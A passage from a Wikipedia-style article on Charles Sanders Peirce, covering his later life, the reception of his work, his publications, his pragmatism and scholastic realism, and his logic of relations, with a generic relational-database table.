The one who did the most to help Peirce in this his hour of desperate need was his old friend [[William James]], who helped arrange four series of lectures at or near Harvard, and dedicated his ''Will to Believe'' to Peirce. Most important, each year from 1898 until his death in 1910, James would write to his friends in the Boston intelligentsia, asking that they make a financial contribution to help support Peirce. Peirce showed his gratitude for these remarkable gestures of friendship by designating James’s eldest son as his heir should Juliette predecease him, and by adding &quot;Santiago,&quot; &quot;Saint James&quot; in Spanish, to his full name (Brent 1998: 315-16, 374).

Peirce died destitute in [[Milford, Pennsylvania]], twenty years before his widow.

==Reception==

[[Bertrand Russell]] opined, &quot;Beyond doubt … he was one of the most original minds of the later [[19th century| nineteenth century]], and certainly the greatest American thinker ever.&quot; (Yet his ''[[Principia Mathematica]]'' fails to mention Peirce.) While reading some of Peirce's unpublished manuscripts soon after arriving at Harvard in 1924, [[Alfred North Whitehead]] was struck by the extent to which Peirce had anticipated his own &quot;process&quot; thinking. (On Peirce and [[process metaphysics]], see the chapter by Lowe in Moore and Robin, 1964.) [[Karl Popper]] viewed Peirce as &quot;one of the greatest philosophers of all times&quot;.  Nevertheless, Peirce's accomplishments were not immediately recognized. His imposing contemporaries [[William James]] and [[Josiah Royce]] admired him, and Cassius Keyser at Columbia and [[C. K. Ogden]] wrote about Peirce with respect, but to no immediate effect.

The first scholar to give Peirce his considered professional attention was Royce's student [[Morris Raphael Cohen]], the editor of a 1923 anthology of Peirce's writings titled ''Chance, Love, and Logic'' and the author of the first Peirce bibliography. From 1916 until his death, [[John Dewey]]'s writings repeatedly mention Peirce with deference, and his 1938 ''Logic: The Theory of Inquiry'' is Peircian through and through. The publication of the first six volumes of the ''Collected Papers'' (1931-35), the most important event to date in Peirce studies and one Cohen made possible by raising the needed funds, did not lead to an immediate outpouring of secondary studies. The editors of those volumes, [[Charles Hartshorne]] and Paul Weiss, did not become Peirce specialists. Early landmarks of the secondary literature include the monographs Buchler (1939), Feibleman (1946), and Goudge (1950), the 1941 Ph.D. thesis by Arthur Burks (who went on to edit volumes 7 and 8 of the ''Collected Papers''), and the edited volume Wiener and Young (1952).  The Charles S. Peirce Society was founded in 1946.  Its ''Transactions'', an academic journal specializing in the history of American philosophy, including pragmatism, has appeared since 1965.

In 1949, while doing unrelated archival work, the historian of mathematics Carolyn Eisele (1902-2000) chanced on an autograph letter by Peirce. Thus began her 40 years of research on Peirce the mathematician and scientist, culminating in Eisele (1976, 1979, 1985).  Beginning around 1960, the philosopher and [[history of ideas|historian of ideas]] Max Fisch (1900-1995) emerged as an authority on Peirce; Fisch (1986) reprints many of the relevant articles, including (pp. 422-48) a wide-ranging survey of the impact of Peirce's thought through 1983.

Peirce has come to enjoy an international following.  University research centers devoted to Peirce Studies and [[pragmatism]] can be found in Brazil, Finland, Germany, and Spain. There have been French and Italian Peirceans of note since 1950. For many years, the [[University of Toronto]] housed the North American philosophy department most devoted to Peirce. In recent years, Peirce scholars have clustered at [[IUPUI|Indiana University - Purdue University Indianapolis]], the home of the Peirce Edition Project, and the [[Pennsylvania State University]].

==Works==

Peirce's reputation is based in large part on a number of academic papers published in American scholarly and scientific journals.  These papers, along with a selection of Peirce's previously unpublished work and a smattering of his corresondence, fill the eight volumes of the ''Collected Papers of Charles Sanders Peirce'', published between [[1931]] and [[1958]].  A first taste of Peirce's philosophical writings can be found in the two volumes of ''The Essential Peirce'' (Houser and Kloesel (eds.) 1992, Peirce Edition Project (eds.) 1998).

The only book-length account of his own investigations that Peirce published in his lifetime was ''Photometric Researches'' (1878), a monograph on the applications of spectrographic methods to astronomy.  While at Johns Hopkins, he edited ''Studies in Logic'' (1883), containing chapters by himself and his graduate students.  He was a frequent book-reviewer and contributor to ''[[The Nation (U.S. periodical)|The Nation]]'', the sum of which writing is reprinted in ''Contributions to 'The Nation' '' (Ketner and Cook, 1975-1987).

Hardwick (2001) published Peirce's entire correspondence with [[Victoria, Lady Welby]].  Peirce's other published correspondence is largely limited to the 14 letters included in volume 8 of the ''Collected Papers'', and the 20-odd pre-1890 items included in the ''Writings''.

[[Harvard University]] acquired the papers found in Peirce's study soon after his death, but did not microfilm them until 1964.  Only after Richard Robin (1967) published his catalog of this legacy, did it become clear that Peirce had left approximately 1650 unpublished manuscripts, totalling 80,000 pages.  A number of these works were published in Eisele (1976, 1985), but most of them remain as yet unpublished.  For more on the vicissitudes of Peirce's papers, see (Houser 1989).

The increasingly apparent limitations of the ''Collected Papers'', with respect to coverage and organization both, led Max Fisch and others in the 1970's to establish the Peirce Edition Project, whose mission is to prepare a more complete critical edition, known as the ''Writings'', organized chronologically.  A mere half dozen of the anticipated 30-plus volumes have appeared to date, but they cover a period from 1859 to 1890 when Peirce carried out some of his most important work.

===Logic of Relatives (1870)===
{{main|Logic of Relatives (1870)}}

By 1870, the drive that Peirce exhibited to understand the character of knowledge, starting with our partly innate and partly inured models of the world and working up to the conduct of our scientific inquiries into it, having led him to inquire into the three-roled relationship of objects, signs, and impressions of the mind, now brought him to the pass of needing more power in a theory of relations than the available logical formalisms were up to providing.  His first concerted effort to supply the gap was rolled out in his paper &quot;Description of a Notation for the Logic of Relatives, Resulting from an Amplification of the Conceptions of Boole's Calculus of Logic&quot;.  But the nameplate &quot;LOR of 1870&quot; will do for ease of identification.

===Logic of Relatives (1883)===
{{main|Logic of Relatives (1883)}}

===Logic of Relatives (1897)===

==Peirce's philosophy==

&lt;blockquote&gt;
It is not sufficiently recognized that Peirce’s career was that of a scientist, not a philosopher; and that during his lifetime he was known and valued chiefly as a scientist, only secondly as a logician, and scarcely at all as a philosopher.  Even his work in philosophy and logic will not be understood until this fact becomes a standing premise of Peircian studies. (Max Fisch, in (Moore and Robin 1964, 486).
&lt;/blockquote&gt;

Peirce was a working scientist for 30 years, and arguably was a professional philosopher only during the five years he lectured at Johns Hopkins. He learned philosophy mainly by reading a few pages of [[Kant]]'s ''[[Critique of Pure Reason]]'' in the original German, every day while a Harvard undergraduate. His writings bear on an wide array of disciplines, including [[astronomy]], [[metrology]], geodesy, [[mathematics]], [[logic]], [[philosophy]], the [[history and philosophy of science]], [[linguistics]], [[economics]], and [[psychology]]. This work has become the subject of renewed interest and approval, resulting in a revival inspired not only by his anticipations of recent scientific developments but also by his demonstration of how philosophy can be applied effectively to human problems. 

Peirce's writings repeatedly refer to a system of three [[category of being|categories]], named Firstness, Secondness, and Thirdness, devised early in his career in reaction to his reading of [[Aristotle]], [[Kant]], and [[Hegel]]. He later initiated the philosophical tendency known as [[pragmatism]], a variant of which his life-long friend [[William James]] made popular. Peirce believed that any truth is provisional, and that the truth of any proposition cannot be certain but only probable. The name he gave to this state of affairs was &quot;fallibilism&quot;.  This fallibilism and pragmatism may be seen as playing roles in his work similar to those of [[skepticism]] and [[positivism]], respectively, in the work of others. 

==Pragmatism==

Peirce's recipe for pragmatic thinking, going under the label of ''[[pragmatism]]'' and also known as ''[[pragmaticism]]'', is recapitulated in several versions of the so-called ''[[pragmatic maxim]]''.  Here is one of his more emphatic statements of it:

&lt;blockquote&gt;
Pragmaticism was originally enounced in the form of a [[maxim (philosophy)|maxim]], as follows:  Consider what [[causality|effect]]s that might ''conceivably'' have practical bearings you ''conceive'' the objects of your ''[[concept|conception]]'' to have.  Then, your ''conception'' of those effects is the whole of your ''conception'' of the object.  (CP 5.438).
&lt;/blockquote&gt;

[[William James]], among others, regarded two of Peirce's papers, &quot;The Fixation of Belief&quot; (1877) and &quot;How to Make Our Ideas Clear&quot; (1878) as being the origin of [[pragmatism]]. Peirce conceived pragmatism to be a method for clarifying the meaning of difficult [[idea]]s through the application of the [[pragmatic maxim]].  He differed from William James and the early [[John Dewey]], in some of their tangential enthusiasms, in being decidedly more rationalistic and realistic, in several senses of those terms, throughout the preponderance of his own philosophical moods.

Peirce's pragmatism may be understood as a method of sorting out conceptual confusions by linking the meaning of concepts to their operational or practical consequences. This pragmatism bears no resemblance to &quot;vulgar&quot; pragmatism, which misleadingly connotes a ruthless and [[Machiavelli]]an search for mercenary or political advantage. Rather, Peirce sought an objectively verifiable method to test the truth of putative knowledge on a way that goes beyond the usual duo of foundational alternatives, namely:

:* [[Deductive reasoning|Deduction]] from self-evident truths, or ''[[rationalism]]'';

:* [[Induction (philosophy)|Induction]] from experiential phenomena, or ''[[empiricism]]''.
His approach is often confused with the latter form of [[foundationalism]], but is distinct from it by virtue of the following three dimensions:

:* Active process of theory generation, with no prior assurance of truth;

:* Subsequent application of the contingent theory, aimed toward developing its logical and practical consequences;

:* Evaluation of the provisional theory's utility for the ''[[anticipation]]'' of future experience, and that in dual senses of the word: ''[[prediction]]'' and ''[[control]]''.  Peirce's appreciation of these three dimensions serves to flesh out a [[physiognomy]] of inquiry far more 'solid' than the 'flatter' image of inductive generalization ''simpliciter'', which is merely the relabeling of phenomenological patterns. Peirce's pragmatism was the first time the [[scientific method]] was proposed as an [[epistemology]] for philosophical questions.

A theory that proves itself more successful in predicting and controlling our world than its rivals is said to be nearer the truth. This is an operational notion of truth employed by scientists. Unlike the other pragmatists, Peirce never explicitly advanced a theory of truth. But his scattered comments about truth have proved influential to several epistemic truth theorists, and as a useful foil for deflationary and correspondence theories of truth.
 
Pragmatism is regarded as a distinctively [[United States|American]] philosophy. As advocated by James, [[John Dewey]], [[Ferdinand Canning Scott Schiller]], [[George Herbert Mead]], and others, it has proved durable and popular. But  Peirce did not seize on this fact to enhance his reputation. Instead, what James and others called &quot;pragmatism&quot; so dismayed Peirce that he renamed his own variant [[pragmaticism]], joking that it was &quot;ugly enough to be safe from kidnappers&quot; (CP 5.414), that is, no one would ever appropriate a neologism so ugly.

==Scholastic realism==

Peirce’s confession to being a “scholastic realist of a somewhat extreme stripe” (CP 5.470) is well known and baffles some.  He has been described by careless writers as an [[idealist]] (“[[reality]]” = “the object of the final opinion of the scientific community”), but this description is inaccurate, since he believed that reality was best described as independent of mind, at least of minds in particular, if not necessarily of minds in general.  The problem of interpretation appears to arise from at least three sources.  First, Peirce's use of the word &quot;[[independent]]&quot; needs to be understood in a way that is analogous to its definition in mathematics, where it means &quot;[[orthogonal]]&quot;, or its definition in statistics, where it means &quot;[[uncorrelated]]&quot;.  In these senses, independence is a particular kind of relation, not a lack of relation, and certainly not a form of disconnection or exclusion.  Second, Peirce did in fact describe himself as being in favor of [[objective idealism]], but what he meant by that is a far cry from ordinary [[idealism]].  Third, we need to recognize that scholastic realism is one side of the [[realist]] vs. [[nominalist]] debate over [[universals]], and not a position in the [[realist]] vs. [[idealist]] debate about a mind-independent [[reality]].  Peirce’s scholastic realism in fact supplies essential support for his own thesis of [[objective idealism]] regarding the relationship between matter and mind.  Two early studies on Peirce’s realism and the influence of [[Duns Scotus]] thereon, are the chapter by McKeon in Wiener and Young (1952), and that by Moore in Moore and Robin (1964).

In his first remarks on the realist vs. nominalist debate, Peirce sided with nominalism:
	
&lt;blockquote&gt; Qualities are fictions; for though it is true that roses are red, yet redness is nothing, but a fiction framed for the purpose of philosophizing; yet harmless so long as we remember that the scholastic realism it implies is false. (CE 1:307, May-Fall 1865) &lt;/blockquote&gt;

Here Peirce is explicitly disparaging a position he is well-known for spending most of his life defending. How might we make sense of this apparent contradiction? The temptation is to simply say Peirce changed his mind. After all, since Peirce asserts nominalism in 1865 and scholastic realism in 1868, Peirce may have gone from denying the reality of universals to asserting it. This explanation is most famously given by [[Max Fisch]] in his “Peirce’s Progress from Nominalism toward Realism” (1967) and then again in his introduction to volume two of the Chronological Edition of Peirce’s writings (1984). However, recently this way of understanding Peirce has been indepenently challenged by Rosa Mayorga in her ''On Universals'' (2002) and by Robert Lane in his “Peirce’s Early Realism” (2004). Both Mayorga and Lane are troubled by several instances where Peirce’s self assessment of his own intellectual development contradicts Fisch's account of Peirce development. One of these statemesnts appears in 1893 when Peirce states that “never, during the thirty years in which I have been writing on philosophical questions, have I failed in my allegiance to realistic opinions and to certain Scotistic ideas.” (6.605, italics mine) Remarks like these led Lane to conduct a re-evaluation of Peirce’s 1865 declarations for nomianlism, whereupon Lane discovered significant evidence for the same conclusion Mayorga had already reached two years earlier (unbenownst to Lane). Both concluded that the correct way to understand Peirce’s shift from outspoken nominalist to outspoken realist is not by reading into Peirce a change in his fundamental philosophical position, but instead to realize that Peirce merely changed his understanding and use of the terms “scholastic realism” and “nominalism”. 
The reason Peirce calls himself a nominalist in 1865 is because he believes realism to only come in the form offered by Plato: 

&lt;blockquote&gt;
It has been said that these “abstract names” [blueness, hardness, and loudness] denote qualities and connote nothing. But it seems to me the phrase “denoted object” is nothing but a roundabout expression for a thing…. To say that a quality is denoted is to say it is a thing…. [Such terms] were framed at a time when all men were realists in the scholastic sense and consequently things were meant by them, entities which had no quality but that expressed by the word. They, therefore, must denote these things and connote the qualities they relate to. (Peirce, CE 1, 311-312).
&lt;/blockquote&gt;

When Peirce goes on to call universals “fictions,” he is not condemning their truth; he is simply asserting that they do not exist as particulars. This becomes clearer when in the same paper Peirce argues against psychologism in logic, by establishing the same “fictional” status for logic and mathematics that he claims for universals. Now by proving logic “fictional,” Peirce believes he does logic a favor, i.e., by saving it from the psychologists. This suggests that Peirce employed “fictional” in a rather idiosyncratic way. Many things (including universals) covered by Peirce’s pre-1868 use of “fictional” came under his post-1868 use of &quot;real&quot;. Peirce had been using “fictional” to refer to things having no physical existence, and not to imply that something was merely the result of human imagination or fancy. By 1868 at least, Peirce had changed his mind about &quot;reality&quot;, holding instead that &quot;fictional&quot; should be contrasted with &quot;independent of what we think about it&quot; (real). He no longer deemed existence as a physical object as a prerequisite for being real, so that a lack of physical existence no longer led Peirce to chatacterize universals as &quot;fictional.&quot; That something has blueness can be true independent of what anyone thinks of it, and therefore it can be a part of reality despite the fact blueness never has a physical existence anywhere. Blueness is real (independent of what anyone thinks), but it does not exist (as an entity; it has no secondness).

==Formal perspective==

&lt;blockquote&gt;
In proceeding to these inquiries, it will not be necessary to enter into the discussion of that famous question of the schools, whether Language is to be regarded as an ''essential'' instrument of reasoning, or whether, on the other hand, it is possible for us to reason without its aid.  I suppose this question to be beside the design of the present treatise, for the following reason, viz., that it is the business of Science to investigate laws;  and that, whether we regard signs as the representatives of things and of their relations, or as the representatives of the conceptions and operations of the human intellect, in studying the laws of signs, we are in effect studying the manifested laws of reasoning.  ([[George Boole]], ''Laws of Thought'', p. 24)
&lt;/blockquote&gt;
&lt;blockquote&gt;
How often do we think of the thing in algebra?  When we use the symbol of multiplication we do not even think out the conception of multiplication, we think merely of the laws of that symbol, which coincide with the laws of the conception, and what is more to the purpose, coincide with the laws of multiplication in the object.  Now, I ask, how is it that anything can be done with a symbol, without reflecting upon the conception, much less imagining the object that belongs to it?  It is simply because the symbol has acquired a nature, which may be described thus, that when it is brought before the mind certain principles of its use — whether reflected on or not — by association immediately regulate the action of the mind;  and these may be regarded as laws of the symbol itself which it cannot ''as a symbol'' transgress.  (&quot;On the Logic of Science&quot; (1865), CE 1, 173).
&lt;/blockquote&gt;

Peirce did not live or work in a vacuum.  No one who appreciates his use of phrases like 'laws of the symbol' in their historical context could fail to hear the echoes of Boole, nor indeed the background stirrings of the contemporary [[Zeitgeist]] in mathematics that went under the name of the 'symbolist movement', the clarion call to which is commonly attributed to [[George Peacock]] (1791-1858).  If Peirce appears at times to march out of step, it is because he hears the beat of many different drummers, not just one.

The main themes of the symbolist movement, though they may have presented novelties to the general understanding of mathematics in the 19th Century, are nowadays familiar to anyone who has had a brush with the 'art of the story problem' in an elementary algebra course.  There one learns to approach the story problem, a roughly realistic representation of a concrete circumstance, with the aim to abstract or to 'tease out' a general formula from the concrete data that specify the situation.  Next one proceeds to 'crank the formula', starting from a form that is true but problematically obscure in its implications, and, circumstances warranting, continuing until a logically equivalent or a lower implied form is reached, but one that is maximally clarified in its implications.  That most clear result one dubs the 'abstract answer' or the 'general solution' to the story problem, leaving nothing more to do but 'plug in' the concrete data that came with the story problem to arrive at the 'concrete answer' or the 'specific solution'.

The three-phase maneuver for solving a story problem, (1) teasing out, (2) cranking the crank, (3) plugging in, can be articulated in semiotic or sign-relational terms as follows:  The first phase passes from the object domain to the sign domain, the second phase passes from the sign domain to the interpretant sign domain, continuing perhaps in a relay of successive passes, and the third phase passes from the last interpretant sign domain back to the object domain.

There are a number of issues that typically arise with the continuing development of a symbolist perspective, in any field of endeavor, over the years of its natural life-cycle.  We can see these issues illustrated clearly enough in our story problem paradigm, with its parsing of the problem-solving process into the three phases of abstraction, transformation, and application.

:* Once the division of labor among the three phases of the process has been in place for a sufficiently long time, each of the three phases will tend to take on a certain degree of  independence, sometimes actual and sometimes merely apparent, from the other two phases.

:* As a side-effect of the increasing independence among the various phases of inquiry, there tend to develop specialized disciplines, each devoted to a single aspect of the initially interactive and integral process.  A symptom of this stage of development is that references to the 'independence' of the several phases of inquiry may become confused with or even replaced by assertions of their 'autonomy' from one another.

Returning to the formal sciences of logic and mathematics and focusing on the rise of symbolic logic in particular, all of the above issues were clearly recognized and widely discussed among the movers and shakers of the symbolist movement, with especial mention of [[George Boole]], [[Augustus De Morgan]], [[Benjamin Peirce]], and Charles Peirce.

The first symptoms of a crisis typically arise in connection with questions about the status of the abstract symbols that are 'manipulated' in the transformation phase, to express it in sign-relational terms, the sign-to-sign aspect of semiosis.
In the beginning, while it is still evident to everyone concerned that these symbols are mined from the matrix of their usual interpretations, which are generally more diverse than unique, these abstracted symbols are commonly referred to as '[[uninterpreted symbol]]s', the sense being that they are transiently detached from their interpretations simply for the sake of extra facility in processing the more general thrust of their meanings, after which intermediary process they will have their concrete meanings restored.

When we start to hear these abstract, general, uninterpreted symbols being described as 'meaningless' symbols, then we can be sure that a certain line in our sand-reckoning has been crossed, and that the crossers thereof have hefted or sublimated '[[formalism]]' to the status of a full-blown [[Weltanschauung]] rather than a simple [[heuristic]] device.

What we observe here is a familiar form of cyclic process, with the crest of excess followed by the slough of despond.  The inflationary boom that raises 'formalism' beyond its formative sphere as one among a host of equally useful heuristic tricks to the status of a totalizing worldview leads perforce to the deflationary bust that makes of 'formalist' a pejorative term.

The point of the foregoing discussion is this, that one of the main difficulties that we have in understanding what the whole complex of words rooted in 'form' meant to Peirce is that we find ourselves, historically speaking, on opposite sides of this cycle of ideas from him.

And so we are required, as so often happens in trying to read a writer of another age, to lift the scales of the years from our eyes, to drop the reticles that have encrusted themselves on our 'reading glasses', our [[hermeneutic]] scopes, due to  the interpolant philosophical schemata that have managed to enscounce themselves in our unthinking culture over the years that separate us from the writer in question.

===Logic as formal semiotic===

&lt;blockquote&gt;
''On the Definition of Logic''.  [[Logic]] is ''[[formal semiotic]]''. A [[sign]] is something, ''A'', which brings something, ''B'', its ''[[interpretant]]'' sign, determined or created by it, into the same sort of correspondence (or a lower implied sort) with something, ''C'', its ''[[object]]'', as that in which itself stands to ''C''.  This definition no more involves any reference to human thought than does the definition of a line as the place within which a particle lies during a lapse of time.  It is from this definition that I deduce the principles of [[logic]] by mathematical reasoning, and by mathematical reasoning that, I aver, will support criticism of [[Weierstrass]]ian severity, and that is perfectly evident.  The word &quot;formal&quot; in the definition is also defined.  (Peirce, &quot;Carnegie Application&quot;, NEM 4, 54).
&lt;/blockquote&gt;

In 1902 Peirce applied to the newly established [[Carnegie Institution of Washington|Carnegie Institution]] for aid &quot;in accomplishing certain scientific work&quot;, presenting an &quot;explanation of ''what work'' is proposed&quot; plus an &quot;appendix containing a fuller statement&quot;.  These parts of the letter, along with excerpts from earlier drafts, can be found in NEM 4 (Eisele 1976).  The appendix is organized as a &quot;List of Proposed Memoirs on Logic&quot;, and No. 12 among the 36 proposals is titled &quot;On the Definition of Logic&quot;, the earlier draft of which is quoted in full above.

On Peirce and his contemporaries [[Ernst Schröder]] and [[Frege]], [[Hilary Putnam]] (1982) wrote:

&lt;blockquote&gt;
When I started to trace the later [[History of logic | development of logic]], the first thing I did was to look at [[Ernst Schröder|Schröder]]'s ''Vorlesungen über die Algebra der Logik''.  This book … has a third volume on the logic of [[relational algebra|relations]] (''Algebra und Logik der Relative'', 1895). [These] three volumes were the best-known logic text in the world among advanced students, and they can safely be taken to represent what any mathematician interested in the study of logic would have had to know, or at least become acquainted with in the 1890s.
&lt;/blockquote&gt;

&lt;blockquote&gt;
While, to my knowledge, no one except [[Frege]] ever published a single paper in Frege's notation, many famous logicians adopted Peirce-Schröder notation, and famous results and systems were published in it. [[Leopold Löwenheim | Löwenheim]] stated and proved the [[Löwenheim-Skolem theorem]] ... in Peircian notation. In fact, there is no reference in Löwenheim's paper to any logic other than Peirce's. To cite another example, [[Ernst Zermelo | Zermelo]] presented his [[Zermelo set theory|axiom]]s for [[set theory]] in Peirce-Schröder notation, and not, as one might have expected, in [[Bertrand Russell|Russell]]-[[Alfred N. Whitehead|Whitehead]] notation.
&lt;/blockquote&gt;

&lt;blockquote&gt;
One can sum up these simple facts (which anyone can quickly verify) as follows:  Frege certainly discovered the [[quantifier]] first (four years before O. H. Mitchell did so, going by publication dates, which are all we have as far as I know). But [[Leif Ericson]] probably discovered [[The Americas|America]] 'first' (forgive me for not counting the [[indigenous peoples of the Americas|native Americans]], who of course really discovered it 'first'). If the effective discoverer, from a European point of view, is [[Christopher Columbus]], that is because he discovered it so that it stayed discovered (by Europeans, that is), so that the discovery became known (by Europeans). Frege did 'discover' the quantifier in the sense of having the rightful claim to priority; but Peirce and his students discovered it in the effective sense. The fact is that until Russell appreciated what he had done, Frege was relatively obscure, and it was Peirce who seems to have been known to the entire world logical community. How many of the people who think that 'Frege invented [formal] logic' are aware of these facts?
&lt;/blockquote&gt;

The main evidence for Putnam's claims is Peirce (1885), published in the premier American mathematical journal of the day. [[Peano]], [[Ernst Schröder]], among others, cited this article. Peirce was apparently ignorant of Frege's work, despite their rival achievements in logic, [[philosophy of language]], and the [[foundations of mathematics]].

Peirce's other major discoveries in formal logic include:

:* Distinguishing (Peirce, 1885) between first-order and second-order quantification.

:* Seeing that Boolean calculations could be carried out by means of electrical switches (W5:421-24), anticipating [[Claude Shannon]] by more than 50 years.

:* Devising the [[existential graph]]s, a diagrammatic notation for the [[predicate calculus]]. These graphs form the basis of the [[conceptual graph]]s of [[John F. Sowa]], and of Sun-Joo Shin's diagrammatic reasoning.

A philosophy of logic, grounded in his categories and semeiotic, can be extracted from Peirce's writings. This philosophy, as well as Peirce's logical work more generally, is exposited and defended in , and in [http://www.jfsowa.com/peirce/putnam.htm Hilary Putnam (1982)], the ''Introduction'' to Houser et al (1997), and Dipert's chapter in Misak (2004). [[Jean Van Heijenoort]] (1967), [[Jaakko Hintikka]] in his chapter in Brunning and Forster (1997), and Brady (2000) divide those who study formal (and natural) languages into two camps: the [[model theory|model-theorists]] / [[semantics|semanticists]], and the [[proof theory|proof theorists]] / universalists. Hintikka and Brady view Peirce as a pioneer model theorist. On how the young [[Bertrand Russell]], especially his ''Principles of Mathematics'' and [[Principia Mathematica]], did not do Peirce justice, see Anellis (1995).

Peirce's work on formal logic had admirers other than [[Ernst Schröder]]:

:* The philosophical algebraist [[William Kingdon Clifford]] and the logician [[William Ernest Johnson]], both British;

:* The Polish school of logic and foundational mathematics, including [[Alfred Tarski]];

:* [[Arthur Prior]], whose ''Formal Logic'' and chapter in Moore and Robin (1964) praised and studied Peirce's logical work.

===Relationships, relations, relatives===

The reader of Peirce needs to be aware of the distinction between ''relations'' and ''relatives''.  Succinctly put, relations are objects and relatives are signs.  The term &quot;relative&quot; is short for &quot;relative term&quot;, and a relative term is a type of sign that forms the main study of the ''logic of relatives''.  A relation, on the other hand, is a type of formal object that is treated in the mathematical ''theory of relations''.  There is of course an intimate relationship between the two studies, but like most intimate relationships it has its fair share of intricacies.

The following collection of definitions is practically indispensable.

:* A ''relative'', then, may be defined as the equivalent of a word or phrase which, either as it is (when I term it a ''complete'' relative), or else when the verb &quot;is&quot; is attached to it (and if it wants such attachment, I term it a ''nominal'' relative), becomes a sentence with some number of proper names left blank.

:* A ''relationship'', or ''[[fundamentum relationis]]'', is a fact relative to a number of objects, considered apart from those objects, as if, after the statement of the fact, the designations of those objects had been erased.

:* A ''relation'' is a relationship considered as something that may be said to be true of one of the objects, the others being separated from the relationship yet kept in view.  Thus, for each relationship there are as many relations as there are blanks.  For example, corresponding to the relationship which consists in one thing loving another there are two relations, that of loving and that of being loved by.  There is a nominal relative for each of these relations, as &quot;lover of ——&quot; and &quot;loved by ——&quot;.

:* These nominal relatives belonging to one relationship, are in their relation to one another termed ''correlatives''.  In the case of a dyad, the two correlatives, and the corresponding relations are said, each to be the ''converse'' of the other.

:* The objects whose designations fill the blanks of a complete relative are called the ''correlates''.

:* The correlate to which a nominal relative is attributed is called the ''relate''.

:* In the statement of a relationship, the designations of the correlates ought to be considered as so many ''logical subjects'' and the relative itself as the ''[[predicate]]''.  The entire set of logical subjects may also be considered as a ''collective subject'', of which the statement of the relationship is ''predicate''.

: (Peirce, CP 3.466-467, &quot;The Logic of Relatives&quot;, ''Monist'', 7, 161-217 (1897), CP 3.456-552).

To understand these definitions, as everywhere in Peirce's work, one needs to keep a close watch on the things that are meant as  objects of discussion and thought and the things that are meant as signs and thoughts in which discussion and thought take place.  Doing this is trickier than it seems at first, since many standard approaches to defining abstract, formal, or ''[[hypostatic abstraction|hypostatic]]'' objects approach their objects by way of formal operations on the corresponding signs.

====Relatives====
{{main|Logic of relatives}}

====Relations====
{{main|Theory of relations}}

A concept of relation that suffices to begin the study of Peirce's logic, mathematics, and semiotics, making use of analogous concepts of relation that have served well enough in other areas of experience to make further experience possible, can be set out as follows.

* Defined in extension, a ''k-adic relation'' L is a set of k-tuples.

* A ''k-tuple'' '''x''' is a sequence of k elements, x&lt;sub&gt;1&lt;/sub&gt;, …, x&lt;sub&gt;k&lt;/sub&gt;, called the ''components'' of the k-tuple.  The components of the k-tuple '''x''' can be indicated by writing either one of the following two forms, the latter form of syntax being the one that Peirce most often used:

: '''x''' = (x&lt;sub&gt;1&lt;/sub&gt;, …, x&lt;sub&gt;k&lt;/sub&gt;)
: '''x''' = x&lt;sub&gt;1&lt;/sub&gt; ''':''' … ''':''' x&lt;sub&gt;k&lt;/sub&gt;

It is critically important to understand that a relation in extension is a ''[[set]]'', in other words, an aggregate entity or a collection of things.  More to the point, a k-tuple is not a relation, it is only an ''[[element (mathematics)|element]]'' of a relation, what Peirce quite naturally called an ''elementary relation'' or sometimes an ''individual relation''.

In his time, Peirce found himself forced by the task of understanding the intertwined natures of science and signs to develop the logic of relations from the fairly primitive state in which he found it to a condition of readiness more qualified for the job.  There was nothing very cut and dried about trying to do this from scratch, as will be evident in the appropriate Sections below when we sample the fits and starts forward, the culs-de-sac, and the many paths that had to be backtracked in order to arrive at an adequate theory of relations.  For the purpose at hand, however, we can rely on the fact that few readers these days will have escaped some encounter with [[relational database]]s, and so we can draw on these resources of experience to speed the exposition of relations in general.

Table 1 shows how the k-tuples of a k-adic relation might be conceived in tabular form, with the k-uple '''x'''&lt;sub&gt;i&lt;/sub&gt; = &lt;x&lt;sub&gt;i1&lt;/sub&gt;, …, x&lt;sub&gt;ik&lt;/sub&gt;&gt; = x&lt;sub&gt;i1&lt;/sub&gt; ''':''' … ''':''' x&lt;sub&gt;ik&lt;/sub&gt; supplying the entries for the i&lt;sup&gt;th&lt;/sup&gt; row of the Table.

{| align=&quot;center&quot; border=&quot;1&quot; cellpadding=&quot;8&quot; cellspacing=&quot;0&quot; style=&quot;background:#f9f9f9; font-weight:bold; text-align:center; width:90%&quot;
|+ '''Table 1.  Relational Database'''
|- style=&quot;background:#efefef&quot;
! style=&quot;width:15%&quot; | Domain 1
! style=&quot;width:15%&quot; | Domain 2
! style=&quot;width:15%&quot; | ...
! style=&quot;width:15%&quot; | Domain j
! style=&quot;width:15%&quot; | ...
! style=&quot;width:15%&quot; | Domain k
|-
| x&lt;sub&gt;11&lt;/sub&gt;
| x&lt;sub&gt;12&lt;/sub&gt;
| ...
| x&lt;sub&gt;1j&lt;/sub&gt;
| ...
| x&lt;sub&gt;1k&lt;/sub&gt;
|-
| x&lt;sub&gt;21&lt;/sub&gt;
| x&lt;sub&gt;22&lt;/sub&gt;
| ...
| x&lt;sub&gt;2j&lt;/sub&gt;
| ...
| x&lt;sub&gt;2k&lt;/sub&gt;
|-
| ... || ... || ... || ... || ... || ...
|-
| x&lt;sub&gt;i1&lt;/sub&gt;
| x&lt;sub&gt;i2&lt;/sub&gt;
| ...
| x&lt;sub&gt;ij&lt;/sub&gt;
| ...
| x&lt;sub&gt;ik&lt;/sub&gt;
|-
| ... || ... || ... || ... || ... || ...
|-
| x&lt;sub&gt;m1&lt;/sub&gt;
| x&lt;sub&gt;m2&lt;/sub&gt;
| ...
| x&lt;sub&gt;mj&lt;/sub&gt;
| ...
| x&lt;sub&gt;mk&lt;/sub&gt;
|}

For ease of exposition, Table 1 shows the generic form of a ''[[discrete]]'' k-adic relation, one that contains a ''[[countable]]'' number of k-tuples, indeed, it shows a ''[[finite]]'' k-adic relation, one that contains a finite number of k-tuples.  Generalizations to relations with an [[infinite]] or even a [[continuous]] [[cardinality]] in respect of their numbers of elementary relations are possible.  Indeed, it is possible to conceive of relations with infinite, continuous, or even no fixed numbers of components in their elementary relations, but finite k-adic relations are illustration enough for our immediate aims.

====Dyadic relations====
{{main|Binary relation}}

====Triadic relations====
{{main|Triadic relation}}

: This completes the classification of dual relatives founded on the difference of the fundamental forms A ''':''' A and A ''':''' B.  Similar considerations applied to triple relatives would give rise to a highly complicated development, inasmuch as here we have no less than five fundamental forms of individuals, namely: &lt;br&gt;
{| align=&quot;center&quot; style=&quot;width:80%&quot;
| (A ''':''' A) ''':''' A
| (A ''':''' A) ''':''' B
| (A ''':''' B) ''':''' A
| (B ''':''' A) ''':''' A
| (A ''':''' B) ''':''' C.
|}
: (Peirce, CP 3.229, &quot;On the Algebra of Logic&quot;, ''American Journal of Mathematics'', 3, 15-57 (1880), CP 3.154-251).

